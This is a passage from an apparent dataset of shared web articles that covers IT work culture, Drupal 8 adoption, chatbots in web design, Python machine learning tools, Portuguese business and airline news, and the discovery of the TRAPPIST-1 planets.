team. The anthropologist Robert Dunbar figured out that the number of people in a stable social group is 150. In the IT domain this means that at most 150 individuals should work together on a product or in a larger domain. My primary group is therefore a small team and these small teams together form a larger domain or grouping. Individual motivation within these teams is as important. Dan Pink thinks that people are motivated by a sense of mastery, some autonomy and purpose . All of us want to feel that we are really good at something. That is why we pursue hobbies that take up our time and energy. We steadily get better and get enjoyment out of it. Performance management systems are changing to the Dreyfus model of skill acquisition that reflects this need for mastery. Small empowered teams give a sense of autonomy. If the work my teams does contributes to something larger that the team or myself, it adds to purpose. Agile Approaches The next area we want to highlight is the role of the Agile movement in the New Ways of Working. Agile is the standard approach for small companies. The challenge for Big IT is to scale an Agile methodology like Scrum for large organisations. Scrum has its roots in Takeuchi and Nonaka's Harvard Business Review article ""The New Product Development Game"", where they compared their approach to the sport of Rugby. In Rugby the team ""tries to go to the distance as a unit, passing the ball back and forth"". Managers had to realize that the traditional, sequential approach to developing new products will not work. Development teams must work as a unit to reach a common goal. Steve Denning summarised Scrum nicely as: Organising work in short cycles. The management doesn't interrupt the team during a work cycle. The team reports to the client , not the manager. The team estimates how much time work will take. The team decides how much work it can do in an iteration. The team decides how to do the work in the iteration. The team measures its own performance. Defining work goals before each cycle starts. Defining work goals through user stories. Systematically removing impediments. Traditionally Agile was used for software development, but now it is being used for total organisational transformation. The DevOps Movement DevOps is the proverbial new kid on the block. It is not a methodology or a framework and builds on Lean and Agile methodologies. It emphasises the following aspects: Developers and Operations people working together in a cross-functional team . The team that develops the software also maintains the software in production. Originally Agile focused on bringing testing and developers [replace with: development] together. DevOps adds the operational dimension. There is a focus on automated deployment pipelines . Manual configuration of environments and the manual movement of code between environments are seen as anti-patterns. Continuous deployment is central as the emphasis is shifting to smaller releases to the production environment quicker. This minimizes risk inherent in big production releases to service outages. Automation is the name of the game in DevOps. Lean Thinking Another lens of the software development process is Lean thinking. Within Lean there are many different schools of thought. The underlying principles that unite these methodologies are: Value gets defined by the customer. The value stream generates value to the customer and spans organisational silos. Requirements are pulled rather than pushed through the system with the consequence that features are not built before they are needed. The process flows continuously. We strive to get better all the time. What started off as a manufacturing methodology is starting to influence the world of software development. In the waterfall software development process different development phases are separated by gates. These gates are mutually exclusive. Work cannot move to the next phase until the work of the previous phases is completed. In the waterfall process this typically means that requirements need to be finalised before detail design work can start. When design is finished we can move to coding and deployment. The term Waterfall Software Development is a misnomer as there is very little emphasis on ""Flow"" as implied by the name. Kanban is a great Lean tool that help to emphasise flow and to make work visible. Putting it together Our discussion so far has given a brief outline of the New Ways of Working. We have focused on the Social Psychology aspects, Lean, DevOps and Agile. Agile will continue to be the prevalent paradigm to deliver software and it will be enhanced by Lean Thinking and the contributions of DevOps. The real challenge is how to enable this thinking in the IT departments of very large organisations. Informal surveys done by Scrum Alliance show that most Agile teams report tension between the way the teams operate and the way the rest of the organisation is run. Large cultural changes are necessary to overcome this. The organisational processes around budgets, people management and performance management also need to change radically to support these New Ways of Working. Very few people know how to do this well and at scale, and this is a fertile field for research and consulting. A suggestion for a simple heuristic on where to start these New Ways of Working in a large corporate with Big IT: Define what culture you want in the organisation and start living, talking and acting in accordance with this culture. If, for example, you want to move the focus away from a management culture to craftmanship, start wearing sneakers and jeans. You can't roll up your sleeves in an Italian suit. Use the Lean tools for the non-product development areas of the organisation. Automate as much as possible. Use Agile and DevOps for the product development areas maturing towards continuous delivery. Steps 2 and 3 can be done simultaneously. Using the tools in Figure 1 is a great start to wake Big IT from its slumber. In other posts we will unpack the diagram in more detail. When Big IT starts punching above or even at it weight again I don't want to stand in their way. Join the movement and let's start the revolution. Missing something? If you feel we missed something in the discussion or diagram let us know in the responses below. Thanks for reading. Originally published at langerman.co.za If you enjoyed this and think others will too, will you please ""Recommend"" or share with a friend?",en
1462207743,CONTENT SHARED,-1630229587164086350,692689608292948411,7420347669270253591,,,,HTML,http://buytaert.net/how-is-drupal-8-doing,Dries Buytaert,"The one big question I get asked over and over these days is: ""How is Drupal 8 doing?"". It's understandable. Drupal 8 is the first new version of Drupal in five years and represents a significant rethinking of Drupal. So how is Drupal 8 doing? With less than half a year since Drupal 8 was released , I'm happy to answer: outstanding! As of late March, Drupal.org counted over 60,000 Drupal 8 sites. Looking back at the first four months of Drupal 7, about 30,000 sites had been counted. In other words, Drupal 8 is being adopted twice as fast as Drupal 7 had been in its first four months following the release. As we near the six-month mark since releasing Drupal 8, the question ""How is Drupal 8 doing?"" takes on more urgency for the Drupal community with a stake in its success. For the answer, I can turn to years of experience and say while the number of new Drupal projects typically slows down in the year leading up to the release of a new version; adoption of the newest version takes up to a full year before we see the number of new projects really take off. Drupal 8 is the middle of an interesting point in its adoption cycle . This is the phase where customers are looking for budgets to pay for migrations. This is the time when people focus on learning Drupal 8 and its new features. This is when the modules that extend and enhance Drupal need to be ported to Drupal 8; and this is the time when Drupal shops and builders are deep in the three to six month sales cycle it takes to sell Drupal 8 projects. This is often a phase of uncertainty but all of this is happening now, and every day there is less and less uncertainty. Based on my past experience, I am confident that Drupal 8 will be adopted at ""full-force"" by the end of 2016. A few weeks ago I launched the Drupal 2016 product survey to take pulse of the Drupal community. I plan to talk about the survey results in my DrupalCon keynote in New Orleans on May 10th but in light of this blog post I felt the results to one of the questions is worth sharing and commenting on sooner: Over 1,800 people have answered that question so far. People were allowed to pick up to 3 answers for the single question from a list of answers. As you can see in the graph, the top two reasons people say they haven't upgraded to Drupal 8 yet are (1) the fact that they are waiting for contributed modules to become available and (2) they are still learning Drupal 8. The results from the survey confirm what we see every release of Drupal; it takes time for the ecosystem, both the technology and the people, to come along. Fortunately, many of the most important modules, such as Rules, Pathauto, Metatag, Field Collection, Token, Panels, Services, and Workbench Moderation, have already been ported and tested for Drupal 8. Combined with the fact that many important modules, like Views and CKEditor, moved to core, I believe we are getting really close to being able to build most websites with Drupal 8. The second reason people cited for not jumping onto Drupal 8 yet was that they are still learning Drupal 8. One of the great strengths of Drupal has long been the willingness of the community to share its knowledge and teach others how to work with Drupal. We need to stay committed to educating builders and developers who are new to Drupal 8, and DrupalCon New Orleans is an excellent opportunity to share expertise and learn about Drupal 8. What is most exciting to me is that less than 3% answered that they plan to move off Drupal altogether, and therefore won't upgrade at all. Non-response bias aside, that is an incredible number as it means the vast majority of Drupal users plan to eventually upgrade. Yes, Drupal 8 is a significant rethinking of Drupal from the version we all knew and loved for so long. It will take time for the Drupal community to understand Drupal's new design and capabilities and how to harness that power but I am confident Drupal 8 is the right technology at the right time, and the adoption numbers so far back that up. Expect Drupal 8 adoption to start accelerating.",en
1462211810,CONTENT SHARED,3168079495368669052,-1443636648652872475,473054719431662675,,,,HTML,http://www.fastcodesign.com/3059349/are-chatbots-really-the-future-of-web-design,Are Chatbots Really The Future Of Web Design?,"Adrian Zumbrunnen was terrified of what conversational interfaces meant for him as a UX designer. ""The conversational interface is scary,"" he says. ""Will I still have a place in this industry when pushing pixels around is no longer the thing that designers do?"" So Zumbrunnen decided to confront his fear head on. He redesigned his personal website so that it ran off a Quartz-style chatbot. Instead of navigating menus, the chatbot asks visitors what they want to do, tells jokes, gives users links to personally curated design stories on the web (with optional chatbot commentary!), and even lets them send Zumbrunnen emails, just by typing to it. Traffic was up 1000%, and in just 48 hours, he got over 250 emails from people chatting with the bot. Zumbrunnen admits part of him just did it as a joke. ""The basic idea of conversational interfaces is to talk to people where they already are, so for a personal website, this seemed like a totally stupid thing to do,"" he says. But the visitors loved it. Traffic was up 1000%, and in just 48 hours, he got over 250 emails from people chatting with the bot-although Zumbrunnen admits there were a fair few of sexts in there. ""People love to try to trick the bot."" Sexts aside, the Zumbrunnen chatbot was a hit. Why did visitors love it so much? ""What I discovered building a chatbot was that I could actually convey something that a traditional personal website never could, which is my character and personality,"" he says. In other words, he created a virtual surrogate of himself. In the context of a personal website, a chatbot is a perfect fit, because the people who visit personal websites want to get to know you . And well-designed chatbots are the best way to do that. Interfaces With Personality It's not only indie designers like Zumbrunnen who are turning to chatbots to create surrogates of themselves. Big brands are pursuing the same approach. ""Conversational interfaces (like chatbots) solve real UI/UX problems by making brands more human and approachable,"" says Robert Hegeman, digital creative director at Siegel+Gale . This is why Microsoft has gone as far as to announce that the operating system of the future isn't Windows, but ""conversation as a platform."" Meanwhile, Facebook is pushing chatbots so hard that CEO Mark Zuckerberg says they're the key for businesses that want to sell to Messenger's 900 million monthly users. Microsoft and Facebook aren't crazy. They recognize a real problem that chatbots (and recent advances in artificial intelligence) can solve. Branded websites tend to feel slick and impersonal, because they're aimed at everyone. Chatbots can be custom-tailored to express different sides of a brand's personality based on who they are talking to. It's the difference between ordering a computer from the Apple online store and going inside one of its brick-and-mortar stores and talking to a salesman: a smile, a wink, or a nod reaffirms the conversation and makes it more personal. ""From a brand perspective, this can mean that brands can extend and change their relationship with consumers-they can play a role versus being seen as just a product,"" says Siegel+Gale's Leesa Wytock. Far From A Universal Fix That doesn't mean chatbots are a salve for every UI problem, says Derek Vaz, group experience director at Huge . ""I don't need a [conversational interface] to be able to simply understand someone's profile; that just needs good information architecture,"" he says. The same thing goes for design problems like online catalogs-good organizational design is more important than personality. At the same time, poorly designed chatbots can pose an even bigger problem than conventional graphical web design, especially when they create confusion for users, or unintentionally obfuscate information, ""Conversational interfaces can be powerful and effective when they are deployed in the right context and designed for the right use case,"" says Heiko Waechter from Huge. ""On the flip side, these interfaces can potentially get in the way of a user or be viewed as gimmicky or even frustrating when they are not thoughtfully designed."" As designers become better writers, the rest of their design work will improve too. Another cautionary voice is from Sandijs Ruluks, founder of Froont , who suggests that the designers who should fear the rise of conversational interfaces most are the ones who are already bad at their jobs. For good designers, it'll just be another tool in their design toolkit. Either way, even if it ends up with some (bad) designers getting fired, ""as long as it improves the user experience of the web, that's a good thing,"" he says. Zumbrunnen agrees. After relaunching his personal website, he's no longer afraid of what chatbots mean for his design future. That's not to say he doesn't think the role of a web designer won't change. ""I think design in the future will be much more about writing than pushing pixels,"" he says, but as designers become better writers, the rest of their design work will improve too. Zumbrunnen argues that the best designers have always been good writers, who are able to clearly articulate what they're trying to do. The rise of chatbots will make the standard of graphic web design better, he says, because ""writing about your designs gives you a better idea of what problem you're trying to solve."" Something you have to do if you're building a chatbot.",en
1462214247,CONTENT SHARED,8384349834972693428,-1443636648652872475,473054719431662675,,,,HTML,http://machinelearningmastery.com/python-ecosystem-machine-learning/,Python Ecosystem for Machine Learning - Machine Learning Mastery,"The Python ecosystem is growing and may become the dominant platform for machine learning. The primarily rationale for adopting Python for machine learning is because it is a general purpose programming language that you can use both for research and development and in production. In this post you will discover the Python ecosystem for machine learning. Python Python is a general purpose interpreted programming language. It is easy to learn and use primarily because the language focuses on readability. The philosophy of Python is captured in the Zen of Python which includes phrases like: Beautiful is better than ugly. Explicit is better than implicit. Simple is better than complex. Complex is better than complicated. Flat is better than nested. Sparse is better than dense. Readability counts. You can see the full Zen of Python in your Python environment by typing: It is a popular language in general, consistently appearing in the top 10 programming languages in surveys on StackOverflow (for example the 2015 survey results ). It's a dynamic language and very suited to interactive development and quick prototyping with the power to support the development of large applications. It is also widely used for machine learning and data science because of the excellent library support and because it is a general purpose programming language (unlike R or Matlab). For example, see the results of the Kaggle platform survey results in 2011 and the KDD Nuggets 2015 tool survey results . This is a simple and very important consideration. It means that you can perform your research and development (figuring out what models to use) in the same programming language that you use in operations. Greatly simplifying the transition from development to operations. SciPy SciPy is an ecosystem of Python libraries for mathematics, science and engineering. It is an add-on to Python that you will need for machine learning. The SciPy ecosystem is comprised of the following core modules relevant to machine learning: NumPy : A foundation for SciPy that allows you to efficiently work with data in arrays. Matplotlib : Allows you to create 2D charts and plots from data. pandas : Tools and data structures to organize and analyze your data. To be effective at machine learning in Python you must install and become familiar with SciPy. Specifically: You will use Pandas to load explore and better understand your data. You will use Matplotlib (and wrappers of Matplotlib in other frameworks) to create plots and charts of your data. You will prepare your data as NumPy arrays for modeling in machine learning algorithms. You can learn more about Pandas in the posts Prepare Data for Machine Learning in Python with Pandas and Quick and Dirty Data Analysis with Pandas . scikit-learn The scikit-learn library is how you can develop and practice machine learning in python. It is built upon and requires the SciPy ecosystem. The name "" scikit "" suggests that it is a SciPy plugin or toolkit. You can review a full list of available SciKits . The focus of the library is machine learning algorithms for classification, regression, clustering and more. It also provides tools for related tasks such as evaluating models, tuning parameters and pre-processing data. Like Python and SciPy, scikit-learn is open source and commercially usable under the BSD license. This means that you can learn about machine learning, develop models and put them into operations all with the same ecosystem and code. A powerful reason to use scikit-learn. You can learn more about scikit-learn in the post A Gentle Introduction to scikit-learn . Python Ecosystem Installation There are multiple ways to install the Python ecosystem for machine learning. In this section we cover how to install the Python ecosystem for machine learning. How To Install Python The first step is to install Python. I prefer to use and recommend Python 2.7. This will be specific to your platform. For instructions see Downloading Python in the Python Beginners Guide . Once installed you can confirm the installation was successful. Open a command line and type: You should see a response like the following: How To Install SciPy There are many ways to install SciPy. For example two popular ways are to use package management on your platform (e.g. yum on RedHat or macports on OS X) or use a Python package management tool like pip. The SciPy documentation is excellent and covers how-to instructions for many different platforms on the page Installing the SciPy Stack . When installing SciPy, ensure that you install the following packages as a minimum: scipy numpy matplotlib pandas Once installed, you can confirm that the installation was successful. Open the python interactive environment by typing "" python "" at the command line, then type in and run the following python code to print the versions of the installed libraries. On my workstation at the time of posting I see the following output. What output do you see? Post it in the comments. If you have an error, you may need to consult the documentation for your platform. How To Install scikit-learn I would suggest that you use the same method to install scikit-learn as you used to install SciPy. There are instructions for installing scikit-learn , but they are limited to using the Python pip and conda package managers. Like SciPy, you can confirm that scikit-learn was installed succesfully. Start your Python interactive environment and type and run the following code. It will print the version of the scikit-learn library installed. On my workstation I see the following output: How To Install The Ecosystem: An Easier Way If you are not confident at installing software on your machine, there is an easier option for you. There is a distribution called Anaconda that you can download and install for free . It supports the three main platforms of Microsoft Windows, Mac OS X and Linux. It includes Python, SciPy and scikit-learn. Everything you need to learn, practice and use machine learning with the Python Environment. Your Guide to Machine Learning with Scikit-Learn Python and scikit-learn are the rising platform among professional data scientists for applied machine learning. PDF and Email Course. FREE 14-Day Mini-Course in Machine Learning with Python and scikit-learn Download Your FREE Mini-Course >> Download your PDF containing all 14 lessons. Get your daily lesson via email with tips and tricks. Summary In this post you discovered the Python ecosystem for machine learning. You learned about: Python and it's rising use for machine learning. SciPy and the functionality it provides with NumPy, Matplotlib and Pandas. scikit-learn that provides all of the machine learning algorithms. You also learned how to install the Python ecosystem for machine learning on your workstation. Do you have any questions about Python for machine learning or this post? Ask your question in the comments and I will do my best to answer. Need Help With Machine Learning in Python? Finally understand how to work through a machine learning problem, step-by-step in the new Ebook: Machine Learning Mastery with Python Take the next step with 16 self-study lessons covering data preparation, feature selection, ensembles and more. Includes 3 end-to-end projects and a project template to tie it all together. Ideal for beginners and intermediate levels. Apply Machine Learning Like A Professional With Python",en
1462214812,CONTENT SHARED,-5952729859839521828,6013226412048763966,6945824758161114491,,,,HTML,http://vocerh.uol.com.br/noticias/entrevista/investimentos-em-coaching-e-mentoring-aumentam-nas-empresas.phtml,Investimentos em coaching e mentoring aumentam nas empresas,"Mais de 60% dos entrevistados em pesquisa da Hays disseram ter esse tipo de programa no local de trabalho Por Redação Você RH Parceria no trabalho | Crédito: Pixabay São Paulo - Uma pesquisa realizada pela empresa de recrutamento Hays, em parceria com a ESPM, mostra que uma das tendências nas empresas em 2016 é um investimento maior em programas de coaching e mentoring. A estratégia tem sido utilizada para aumentar a performance dos colaboradores e trazer bons resultados econômicos para as instituições. A medida tem sido cada vez mais colocada em prática: enquanto apenas 45% dos entrevistados em 2014 disseram ter esse tipo de atividade no local de trabalho, este ano, 62% responderam o mesmo, o que representa um aumento de 17% no requerimento dos programas. Foram ouvidos 3 600 profissionais de 23 estados brasileiros na pesquisa, com a maioria das respostas provindas da região Sudeste. Ainda segundo a maioria dos profissionais, as companhias que não têm programas de coaching ou mentoring apresentam maior rotatividade, o que pode prejudicar o crescimento do negócio. Outros benefícios da adoção da medida, segundo a pesquisadora da ESPM Célia Marcondes Ferraz, variam de um programa para o outro. Em relação aos de mentoring, ela acredita ver vantagem no desenvolvimento de competências mais específicas de determinadas empresas. Já os programas de coaching ajudam desde a inserir jovens profissionais na empresa até apoiar pessoas recém promovidas. ""O coaching ocorre de forma mais ampla, não necessariamente relacionado com o saber fazer. É uma forma de apoio extremamente útil"", diz Célia.",pt
1462217374,CONTENT SHARED,7763750328910542816,-7531858294361854119,4901918339112125835,,,,HTML,http://www.highsnobiety.com/2016/04/21/japanese-koi-restaurant-yakuza-tattoo-art/,This Japanese Restaurant Is Decked out With Yakuza-Inspired Tattoo Art | Highsnobiety,"Yakuza tattoos are generally reserved for the most hardened of clan members, but for architect Vincent Coste , they go way beyond a life of crime. Koï, a Japanese restaurant in Aix-en-Provence, France, pacifies all notions associated with the underground syndicate via an elaborately designed interior that feels contemporary and inviting. Graphically created by surface pattern designer Claire Leina , Yakuza motifs in black and white adorn entranceway walls, floors, ceilings and bathrooms, used more sparingly in dining areas and a patio area out back. Seated sections look pale by comparison, though metallic red chairs, timber flooring, warm mood lighting and concrete countertops achieve a nice coherence nonetheless. To see more of Coste's work, check out Maison A3 in Toulon, France .",en
1462218602,CONTENT SHARED,3788990922347931494,3609194402293569455,-6128828653473669723,,,,HTML,http://startupi.com.br/2016/05/google-estaria-criando-aceleradora-para-seus-funcionarios/,Google estaria criando aceleradora para seus funcionários - Startupi,"Para se manter inovador, o Google depende enormemente de seus funcionários. Há alguns anos, ele lançou uma política que permitia que eles usassem 20% do seu tempo de trabalho para projetos pessoais - e que também fossem interessantes para a empresa. Foi assim que ela criou o Google News, Gmail e AdSense. Hoje, a situação é outra. Por causa da forte competição interna, não é mais possível tirar um quinto do dia para criar novas ideias. Segundo a Marissa Mayer, ex-executiva do Google e hoje CEO do Yahoo, os funcionários na verdade trabalham 120%. Com isso em mente, a gigante de tecnologia estaria criando uma aceleradora própria, chamada de Area 120. O nome é uma referência aos 120% de esforço do funcionário, tanto em seu trabalho normal quanto em projetos paralelos, de acordo com um relatório The Information. Além de incentivar novas ideias, outro objetivo da aceleradora é manter seus melhores talentos e suas ideias brilhantes dentro de seus domínios, de acordo com fontes ouvidas pelo veículo americano, uma vez que é comum um funcionário sair do Google para abrir a própria startup. Como funcionará De acordo com o relatório The Independent, a Area 120 será como qualquer incubadora. Uma pessoa ou um grupo podem inscrever um projeto de negócio e, se selecionados, trabalharão na ideia por um tempo ainda não determinado. Se o projeto for bem-sucedido, o próprio Google se tornará um investidor e irá ajudar a lançar o produto - eventualmente, até separando-o da companhia mãe. A aceleradora ficará em um dos escritórios em San Francisco, na Califórnia. Don Harrison, vice-presidente de desenvolvimento, e Bradley Horowitz, vice-presidente de fotos e streaming, irão comandar a nova área, segundo o documento. Incentivos e investimentos Assim como a política de usar 20% do tempo em outras ideias, a aceleradora incentiva a criatividade e inovação dentro da companhia. A Alphabet, empresa mãe do Google que foi criada em agosto do ano passado, também tem sua própria incubadora. O ""Google X"" é a incubadora de projetos da Alphabet . O laboratório de desenvolvimento é administrado por Sergey Brin, que fundou a companhia de pesquisa ao lado de Larry Page. Lá, nasceram experimentos como o Google Glass e o Loon, programa que quer levar internet a lugares remotos por meio de balões. A Ventures é outra divisão da Alphabet responsável por alavancar ideias. O fundo de investimentos já alocou capital em mais de 300 companhias como o Uber, a Nest (que agora também pertence ao grupo) e organizações na área de saúde. Por Karin Salomão, da Exame.com",pt
1462222773,CONTENT SHARED,3460026829794173084,-7531858294361854119,4901918339112125835,,,,HTML,http://www.melhoresdestinos.com.br/aeronave-design-latam.html,TAM recebe primeira aeronave com o design e pintura da LATAM e avança na implantação da nova marca!,"Como um dos passos mais importantes para a consolidação da TAM, LAN e suas afiliadas sob a nova marca global, o Grupo LATAM Airlines apresentou hoje o novo design dos seus aviões, bem como uniformes de seus funcionários, a nova sinalização nos aeroportos e um novo site ( www.latam.com ). A primeira aeronave com o novo design e pintura chega na madrugada de hoje ao Rio de Janeiro e já no dia 1 de maio vai para Genebra buscar a Tocha Olímpica. O Melhores Destinos acompanhou a entrevista coletiva e apresenta todos os detalhes, como a nova pintura que vai substituir a da TAM e a da LAN, bem como os novos uniformes e demais aplicações da nova LATAM! A primeira aeronave com imagem LATAM a entrar em operação, um Boeing 767, decolará do Rio de Janeiro em 1º de maio com destino a Genebra, para buscar a Tocha Olímpica. O avião será preparado especialmente para a ocasião e retornará a Brasília, local onde terá início o tour de Revezamento da Tocha dos Jogos Olímpicos Rio 2106, que passará por mais de 300 cidades do Brasil. No dia 5 de maio, irão decolar os três primeiros voos comerciais das aeronaves com a nova imagem LATAM nas seguintes rotas: São Paulo-Santiago (um Boeing 767 com saída de Guarulhos às 09h05, horário local); Santiago-Lima (um Airbus A319 com saída de Santiago às 09h10, horário local); e São Paulo-Brasília (um Airbus A319 com saída de Guarulhos às 14h20, horário local). ""Nos próximos dias, os passageiros verão as aeronaves das companhias do Grupo LATAM no ar com a nova imagem LATAM, o que será um marco histórico para o maior grupo aéreo da América Latina"", afirmou Enrique Cueto, CEO do Grupo LATAM Airlines. ""Será uma mudança gradual, cujo principal objetivo é simplificar e melhorar a experiência de viagem dos nossos passageiros"". O executivo garantiu que ""a partir das próximas semanas, nossos passageiros poderão ter uma experiência LATAM ao comprar pelo site da LATAM, acumular quilômetros nos programas de fidelidade LATAM, fazer o check-in nos balcões da LATAM, visitar nossas Salas VIP LATAM e, o mais importante, viajar nas aeronaves com a nova imagem LATAM. Continuaremos aprimorando a maior malha de destinos da América Latina, operando com a frota mais moderna da região, e investindo em ferramentas digitais que nos permitam oferecer uma experiência de viagem personalizada"". A LATAM espera finalizar a pintura exterior de mais de 50 aeronaves em 2016, e concluir a alteração de toda a frota até 2018. A pintura das aeronaves leva, em média, de 6 a 12 dias cada, e será realizada durante a manutenção de rotina das aeronaves para obter a maior eficiência possível do processo. Também no dia 5 de maio, terá início a mudança para a imagem LATAM em 13 dos aeroportos onde as companhias do Grupo LATAM operam, nas cidades de Santiago, São Paulo/Guarulhos, São Paulo/Congonhas, Rio de Janeiro/Galeão, Brasília, Buenos Aires/Ezeiza, Lima, Bogotá, Quito, Miami, Madri, Guayaquil e Nova York (JFK). A alteração inclui a sinalização dos balcões de check-in, Salas VIP, cartões de embarque e informações nas telas. Ainda nos primeiros dias de maio, a LATAM lançará seu novo site, www.latam.com , disponível em seis idiomas. Por meio dessas plataforma, os passageiros poderão reservar suas passagens, fazer o check-in, visualizar o Status de Voo em tempo real, receber alertas e acessar informações úteis sobre sua viagem. Além disso, hoje a LATAM apresentou seus novos uniformes, que serão utilizados por 23.000 funcionários, e espera implementar a mudança em nível global até o final de 2016. Os uniformes LATAM - que refletem a essência do Grupo por meio das formas e cores da nova imagem, o Índigo e o Coral - foram desenhados pelo estilista brasileiro mundialmente reconhecido Pedro Lourenço, em cooperação com grupos de trabalho dos quais participaram mais de 80 funcionários de diferentes áreas da empresa. O Grupo LATAM ainda anunciou a implementação de uma nova revista e plataforma de conteúdo, Vamos/LATAM, oferecendo conteúdo com o melhor da América Latina em vários formatos, disponíveis em espanhol, português e inglês. Além disso, durante 2016 será lançada uma nova carta de vinhos latino-americanos para todos os voos internacionais das companhias do Grupo. Isto se soma ao LATAM Entertainment, o sistema de entretenimento de bordo sem fio para aeronaves de curta distância (Airbus A319, A320, A321) que a empresa já implementou em 200 aeronaves em 2015. Nova tecnologia para pintura das aeronaves O Grupo LATAM Airlines adotou uma nova tecnologia de pintura das aeronaves, 25% mais leve que a convencional. Com ela, a empresa deve obter uma redução de 20kg, em média, em todas as aeronaves da companhia que mudarem a imagem. . A pintura de um avião é um processo que requer diversas soluções de engenharia. Para um Boeing 787, por exemplo, são utilizados 300 litros de tinta e 150 litros da nova tecnologia Clearcoat, que é o verniz protetor que dá brilho e protege contra temperaturas extremas e desgaste aerodinâmico. No total, o processo de pintura leva seis dias: dois para retirar a pintura antiga e quatro para realizar a pintura por camadas. O novo sistema Clearcoat utilizado pela LATAM na pintura de suas aeronaves também contribui para o meio ambiente, pois reduz o peso dos aviões. Esta medida resultará em redução das emissões de CO2 na atmosfera em 3.900 toneladas por ano. Mais algumas imagens divulgadas hoje: E ai? Gostaram do visual dos aviões da LATAM? Deixe seus comentários e participe!",pt
1462228481,CONTENT SHARED,8433131156569129937,-108842214936804958,431405651635249615,,,,HTML,http://www.danwolch.com/2016/05/predicting-the-future-one-week-at-a-time/,"Predicting the future, one week at a time","I used to be the PM for one of HubSpot's freemium email tools . It was a great experience launching something brand new in front of thousands of people at our annual conference , and then growing it to hundreds of thousands of active users. We watched our metrics extremely closely, and we knew how fast we had to grow to hit our goal for the next year. I would frequently get questions like ""are we having a good week?"" and I felt the pressure to give a reliable and accurate projection. If things were going poorly, I needed to be able to understand why and sound the alarm so the team could take action. That said, you can't have many false alarms. You don't want to come across as the boy who cried wolf. I ended up building a simple model in Excel ( Google Docs link ) that helped me visualize the current week against previous weeks, so I'd be able to make a reasonable guess as to whether we would grow, hold steady, or lose ground. For example, lets say that 100,000 people used an app on a weekly basis (WAUs). Not every person used it every day, so our DAUs (daily active users) was less than 100,000. Lets say it was 65,000 DAUs. I recorded the cumulative number of people that had used our app so far that week. It looked like this: I then added columns going back in time, and kept track of it going forward. This gave me a nice set of data to play around with: The pattern of usage each week was incredibly consistent. I graphed each daily total against the final count of users active for that week: This chart shows that our pattern of usage each week is incredibly consistent. Between 60 and 70 percent of our weekly total uses in Monday, and between 75 and 80 percent of our users have used in by the end of the day Tuesday. The way I read this chart is that we are better able to predict what our total user count will be by the end of the week. As our user base grows larger, it's harder for our user acquisition to have as much of an impact. New users can definitely increase, but that's a good problem to have. Using these numbers, I updated the model to project what the high and low bounds of what I'd expect for our total usage for the week: Interested in doing this kind of analysis or learning how to build world class products through quantitative analysis? We're hiring for data analysts at HubSpot, read about the position here . Disclaimer: all of the data in this sample and the screenshots are fake. They were made up and not reflective of any HubSpot product.",en
1462238518,CONTENT SHARED,1318981494172475806,-1032019229384696495,9206175271110320466,,,,HTML,http://techcrunch.com/2016/05/02/google-acquires-synergyse-an-interactive-training-service-for-google-apps/,"Google acquires Synergyse, an interactive training service for Google Apps","Google has acquired Synergyse , a Toronto-based interactive training service for Google Apps for Work that was launched by a group of former Google employees in 2013. As part of this acquisition, Google will make Synergyse Training for Google Apps available for free to all Google Apps customers. The company did not disclose the financial terms of the transaction. According to CrunchBase, Synergyse did not raised any outside funding. According to Synergyse's own data , the service has trained over 4 million people in 3,000 organizations so far. That probably makes it the most popular training service for Google Apps and it probably didn't hurt that the service was built on top of Google's Cloud Platform either, which should make integrating it with Google's own services relatively easy. While figuring out how to use Google Apps for Work may seem trivial to many of us, there is actually a huge demand for this kind of training. Google notes that companies that use this training program see ""on average 35 percent higher adoption across Apps products."" Here is Synergyse's description of the company's incredible journey : ""By joining the Google Apps team, we can accelerate our mission because we will be working even closer with the teams that build Google Apps. Advancing our mission at a faster speed is very exciting for the Synergyse team and our customers will directly see the benefits as we move forward."" Google says it will integrate Synergyse into its own products later this year. Existing customers will be able to continue using the service and new customers can now download the Chrome extension for free.",en
1462242266,CONTENT SHARED,-2388274433047018803,-1032019229384696495,9206175271110320466,,,,HTML,http://news.mit.edu/2016/scientists-discover-potentially-habitable-planets-0502,Scientists discover potentially habitable planets,"Is there life beyond our solar system? If there is, our best bet for finding it may lie in three nearby, Earth-like exoplanets. For the first time, an international team of astronomers from MIT, the University of Liège in Belgium, and elsewhere have detected three planets orbiting an ultracool dwarf star, just 40 light years from Earth. The sizes and temperatures of these worlds are comparable to those of Earth and Venus, and are the best targets found so far for the search for life outside the solar system. The results are published today in the journal Nature. The scientists discovered the planets using TRAPPIST (TRAnsiting Planets and PlanetesImals Small Telescope), a 60-centimeter telescope operated by the University of Liège, based in Chile. TRAPPIST is designed to focus on 60 nearby dwarf stars - very small, cool stars that are so faint they are invisible to optical telescopes. Belgian scientists designed TRAPPIST to monitor dwarf stars at infrared wavelengths and search for planets around them. The team focused the telescope on the ultracool dwarf star, 2MASS J23062928-0502285 , now known as TRAPPIST-1, a Jupiter-sized star that is one-eighth the size of our sun and significantly cooler. Over several months starting in September 2015, the scientists observed the star's infrared signal fade slightly at regular intervals, suggesting that several objects were passing in front of the star. With further observations, the team confirmed the objects were indeed planets, with similar sizes to Earth and Venus. The two innermost planets orbit the star in 1.5 and 2.4 days, though they receive only four and two times the amount of radiation, respectively, as the Earth receives from the sun. The third planet may orbit the star in anywhere from four to 73 days, and may receive even less radiation than Earth. Given their size and proximity to their ultracool star, all three planets may have regions with temperatures well below 400 kelvins, within a range that is suitable for sustaining liquid water and life. Because the system is just 40 light years from Earth, co-author Julien de Wit, a postdoc in the Department of Earth, Atmospheric, and Planetary Sciences, says scientists will soon be able to study the planets' atmospheric compositions, as well as assess their habitability and whether life actually exists within this planetary system. ""These planets are so close, and their star so small, we can study their atmosphere and composition, and further down the road, which is within our generation, assess if they are actually inhabited,"" de Wit says. ""All of these things are achievable, and within reach now. This is a jackpot for the field."" A risk, paid off For the most part, today's exoplanetary missions have been focused on finding systems around bright, solar-like stars. These stars emit radiation in the visible band - most often at yellow wavelengths - and can be seen with optical telescopes. However, because these stars are so bright, their light can overpower any signal coming from a planet. Cold dwarf stars, in contrast, are faint stars that emit radiation in the infrared band. Because they are so faint, these tiny red stars would not drown out a planetary signal, giving scientists a better chance of detecting orbiting planets. However, most missions today are not optimized to observe such stars. ""That means they can't detect planets around such stars,"" de Wit points out. ""So you have to design a completely different survey using special instruments and detectors - it's a risk."" Lead authors Michael Gillon and Emmanuel Jehin, of the University of Liège, took that risk and built TRAPPIST, the proof-of-concept telescope that looks at 60 small, nearby ultracool stars. ""It's not looking at 100,000 stars at a time, like the Kepler Space Telescope,"" de Wit says. ""It's a few of them that you're spending time on, one at a time. And one paid 